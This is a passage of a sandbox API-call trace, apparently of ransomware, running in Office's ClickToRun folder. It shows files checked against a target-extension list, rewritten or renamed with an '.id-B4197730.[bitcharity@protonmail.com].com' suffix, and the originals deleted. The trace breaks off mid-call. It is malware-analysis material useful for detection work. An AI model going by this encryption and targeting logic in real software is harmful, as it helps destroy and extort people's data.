[0293.447] lstrlenW (lpString=".xls") returned 4 [0293.447] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.447] lstrlenW (lpString=".xlsx") returned 5 [0293.447] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0293.447] lstrlenW (lpString=".ppt") returned 4 [0293.447] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0293.447] lstrlenW (lpString=".zip") returned 4 [0293.447] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.447] lstrlenW (lpString=".rar") returned 4 [0293.447] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.447] lstrlenW (lpString=".bz2") returned 4 [0293.447] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.447] lstrlenW (lpString=".7z") returned 3 [0293.447] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0293.447] lstrlenW (lpString=".dbf") returned 4 [0293.447] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0293.448] lstrlenW (lpString=".1cd") returned 4 [0293.448] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0293.448] lstrlenW (lpString=".jpg") returned 4 [0293.448] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.448] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0293.449] lstrlenW (lpString="MavInject32.exe") returned 15 [0293.449] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0293.449] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=358616) returned 1 [0293.449] CloseHandle (hObject=0x10c8) returned 1 [0293.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 0x20 [0293.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0293.450] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.450] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0293.450] GetLastError () returned 0x0 [0293.450] ReadFile (in: hFile=0x10c8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x578d8, lpOverlapped=0x0) returned 1 [0293.515] WriteFile (in: hFile=0x10d0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x578e0, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x578e0, lpOverlapped=0x0) returned 1 [0293.522] ReadFile (in: hFile=0x10c8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.522] WriteFile (in: hFile=0x10d0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0xf2, lpOverlapped=0x0) returned 1 [0293.522] SetEndOfFile (hFile=0x10d0) returned 1 [0293.522] CloseHandle (hObject=0x10d0) returned 1 [0293.522] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.522] SetEndOfFile (hFile=0x10c8) returned 1 [0293.526] CloseHandle (hObject=0x10c8) returned 1 [0293.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0293.526] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 1 [0293.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0293.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0293.527] lstrlenW (lpString=".doc") returned 4 [0293.527] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0293.527] lstrlenW (lpString=".docx") returned 5 [0293.527] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0293.527] lstrlenW (lpString=".pdf") returned 4 [0293.527] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0293.527] lstrlenW (lpString=".xls") returned 4 [0293.527] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0293.527] lstrlenW (lpString=".xlsx") returned 5 [0293.527] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0293.527] lstrlenW (lpString=".ppt") returned 4 [0293.527] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0293.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0293.527] lstrlenW (lpString=".zip") returned 4 [0293.527] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0293.527] lstrlenW (lpString=".rar") returned 4 [0293.527] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0293.527] lstrlenW (lpString=".bz2") returned 4 [0293.527] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0293.527] lstrlenW (lpString=".7z") returned 3 [0293.528] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0293.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0293.528] lstrlenW (lpString=".dbf") returned 4 [0293.528] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0293.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0293.528] lstrlenW (lpString=".1cd") returned 4 [0293.528] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0293.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0293.528] lstrlenW (lpString=".jpg") returned 4 [0293.528] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0293.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0293.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0293.528] lstrlenW (lpString=".doc") returned 4 [0293.528] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0293.528] lstrlenW (lpString=".docx") returned 5 [0293.528] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0293.528] lstrlenW (lpString=".pdf") returned 4 [0293.528] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0293.528] lstrlenW (lpString=".xls") returned 4 [0293.528] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0293.528] lstrlenW (lpString=".xlsx") returned 5 [0293.528] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0293.528] lstrlenW (lpString=".ppt") returned 4 [0293.528] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0293.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0293.528] lstrlenW (lpString=".zip") returned 4 [0293.528] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0293.528] lstrlenW (lpString=".rar") returned 4 [0293.529] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0293.529] lstrlenW (lpString=".bz2") returned 4 [0293.529] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0293.529] lstrlenW (lpString=".7z") returned 3 [0293.529] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0293.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0293.529] lstrlenW (lpString=".dbf") returned 4 [0293.529] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0293.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0293.529] lstrlenW (lpString=".1cd") returned 4 [0293.529] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0293.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0293.529] lstrlenW (lpString=".jpg") returned 4 [0293.529] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0293.529] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0293.529] lstrlenW (lpString="mso20win32client.dll") returned 20 [0293.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0293.530] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=3144288) returned 1 [0293.530] CloseHandle (hObject=0x10c8) returned 1 [0293.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 0x20 [0293.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.530] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 1 [0293.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0293.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0293.531] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[bitcharity@protonmail.com].com"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 1 [0293.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0293.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0293.532] lstrlenW (lpString=".doc") returned 4 [0293.532] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.532] lstrlenW (lpString=".docx") returned 5 [0293.532] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0293.532] lstrlenW (lpString=".pdf") returned 4 [0293.532] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.532] lstrlenW (lpString=".xls") returned 4 [0293.532] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.532] lstrlenW (lpString=".xlsx") returned 5 [0293.532] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0293.532] lstrlenW (lpString=".ppt") returned 4 [0293.532] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0293.532] lstrlenW (lpString=".zip") returned 4 [0293.532] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.532] lstrlenW (lpString=".rar") returned 4 [0293.532] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.532] lstrlenW (lpString=".bz2") returned 4 [0293.532] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.532] lstrlenW (lpString=".7z") returned 3 [0293.532] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0293.532] lstrlenW (lpString=".dbf") returned 4 [0293.532] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0293.532] lstrlenW (lpString=".1cd") returned 4 [0293.533] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0293.533] lstrlenW (lpString=".jpg") returned 4 [0293.533] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0293.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0293.533] lstrlenW (lpString=".doc") returned 4 [0293.533] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.533] lstrlenW (lpString=".docx") returned 5 [0293.533] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0293.533] lstrlenW (lpString=".pdf") returned 4 [0293.533] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.533] lstrlenW (lpString=".xls") returned 4 [0293.533] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.533] lstrlenW (lpString=".xlsx") returned 5 [0293.533] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0293.533] lstrlenW (lpString=".ppt") returned 4 [0293.533] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0293.533] lstrlenW (lpString=".zip") returned 4 [0293.533] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.533] lstrlenW (lpString=".rar") returned 4 [0293.533] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.533] lstrlenW (lpString=".bz2") returned 4 [0293.533] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.533] lstrlenW (lpString=".7z") returned 3 [0293.533] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0293.533] lstrlenW (lpString=".dbf") returned 4 [0293.533] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0293.534] lstrlenW (lpString=".1cd") returned 4 [0293.534] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0293.534] lstrlenW (lpString=".jpg") returned 4 [0293.534] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.534] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0293.534] lstrlenW (lpString="mso30win32client.dll") returned 20 [0293.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0293.534] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=4677216) returned 1 [0293.534] CloseHandle (hObject=0x10c8) returned 1 [0293.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 0x20 [0293.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.534] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 1 [0293.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0293.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0293.535] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[bitcharity@protonmail.com].com"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 1 [0293.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0293.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0293.535] lstrlenW (lpString=".doc") returned 4 [0293.536] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.536] lstrlenW (lpString=".docx") returned 5 [0293.536] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0293.536] lstrlenW (lpString=".pdf") returned 4 [0293.536] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.536] lstrlenW (lpString=".xls") returned 4 [0293.536] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.536] lstrlenW (lpString=".xlsx") returned 5 [0293.536] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0293.536] lstrlenW (lpString=".ppt") returned 4 [0293.536] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0293.536] lstrlenW (lpString=".zip") returned 4 [0293.536] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.536] lstrlenW (lpString=".rar") returned 4 [0293.536] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.536] lstrlenW (lpString=".bz2") returned 4 [0293.536] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.536] lstrlenW (lpString=".7z") returned 3 [0293.536] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0293.536] lstrlenW (lpString=".dbf") returned 4 [0293.536] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0293.536] lstrlenW (lpString=".1cd") returned 4 [0293.536] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0293.537] lstrlenW (lpString=".jpg") returned 4 [0293.537] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0293.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0293.537] lstrlenW (lpString=".doc") returned 4 [0293.537] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.537] lstrlenW (lpString=".docx") returned 5 [0293.537] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0293.537] lstrlenW (lpString=".pdf") returned 4 [0293.537] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.537] lstrlenW (lpString=".xls") returned 4 [0293.537] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.537] lstrlenW (lpString=".xlsx") returned 5 [0293.537] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0293.537] lstrlenW (lpString=".ppt") returned 4 [0293.537] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0293.537] lstrlenW (lpString=".zip") returned 4 [0293.537] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.537] lstrlenW (lpString=".rar") returned 4 [0293.537] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.537] lstrlenW (lpString=".bz2") returned 4 [0293.537] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.537] lstrlenW (lpString=".7z") returned 3 [0293.537] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0293.537] lstrlenW (lpString=".dbf") returned 4 [0293.538] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0293.538] lstrlenW (lpString=".1cd") returned 4 [0293.538] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0293.538] lstrlenW (lpString=".jpg") returned 4 [0293.538] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.538] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0293.538] lstrlenW (lpString="mso40uires.dll") returned 14 [0293.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0293.538] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=3177152) returned 1 [0293.538] CloseHandle (hObject=0x10c8) returned 1 [0293.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 0x20 [0293.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.538] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 1 [0293.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0293.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0293.539] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft 